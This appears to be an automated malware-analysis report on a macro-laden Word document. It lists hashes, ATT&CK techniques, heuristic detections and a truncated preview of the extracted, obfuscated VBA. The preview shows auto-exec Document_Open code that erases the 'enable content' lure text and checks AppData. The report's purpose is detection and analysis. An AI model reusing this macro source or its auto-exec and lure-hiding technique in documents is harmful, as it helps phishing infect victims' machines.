Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5cd48067876e9119…

MALICIOUS

Office (OOXML)

103.7 KB Created: 2021-09-29 22:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-05
MD5: eb368eeaa6dcad977bbb2a7d5e4ebf0a SHA-1: a472512536f59a87b9e175793f37e5f39380bcd3 SHA-256: 5cd48067876e911979c3d740090c39f2c01c6ef3adc5d14d083aaf68e84b2c97
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, specifically an Auto_Open and Document_Open macro, designed to execute automatically. The document body explicitly prompts the user to 'Enable Content' to fix compatibility issues, a common social engineering lure. The VBA script references PowerShell and uses obfuscated code, indicating an intent to download and execute a second-stage payload, likely leveraging the 'AppData' directory.

Heuristics 11

  • ClamAV: Doc.Downloader.Shellhide-10014935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Shellhide-10014935-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 16653 bytes
SHA-256: db8bf9f336d34fda6049b2261d052626d31b5af8a0269eb4d2a8b67d99f06f4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Dim bSaved As Boolean

Sub Auto_Open()

End Sub

Sub Document_Open()


Call fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR

Call iMZhgBKouwiXWuJfNJrPlTeEoJuEzwqyPBCPQEIBAFXCgDJNjOTIHLZnRjcQHbIYKrywncYhINIWBCdppvoJFcEBiv


If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
RuIXdbXbZrJsLewgrkgkIVJlqRVKVZvwCjPAVVDFYJsmnbu
Else

End If

End Sub

Sub fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR()

Dim rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ As String, XsinaEJSOxrwGdNlmgQAVikPuZ As String
Dim MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG As Range, SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo As Range
Dim voXvGkYUJt As Range, GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib As Range, KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP As Range

'Setting up the Ranges
Set MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG = ActiveDocument.Range
Set SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo = ActiveDocument.Range
Set voXvGkYUJt = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(225, 225, 225)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ = "This Document Is"
XsinaEJSOxrwGdNlmgQAVikPuZ = "Version."

'Starting the Find First Word
With MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find
.Text = rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib
Set GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib = MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG
'Having these Selections during testing is benificial to test your script
GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Select

'Setting the SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo up for the remainder of the document form the end of the rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.End
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Select


'Setting the Find to look for the End Word
With SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Find
.Text = XsinaEJSOxrwGdNlmgQAVikPuZ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP
Set KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP = SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo

'Having these Selections during testing is benificial to test your script
KBFXvyAmJHAb
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 142336 bytes
SHA-256: 1b143d4b3ef5001168a6ef85e3ebbc7d832098eb483baa42da63883805540e1c
Detection
ClamAV: Doc.Downloader.Shellhide-10014935-0
Obfuscation or payload: unlikely

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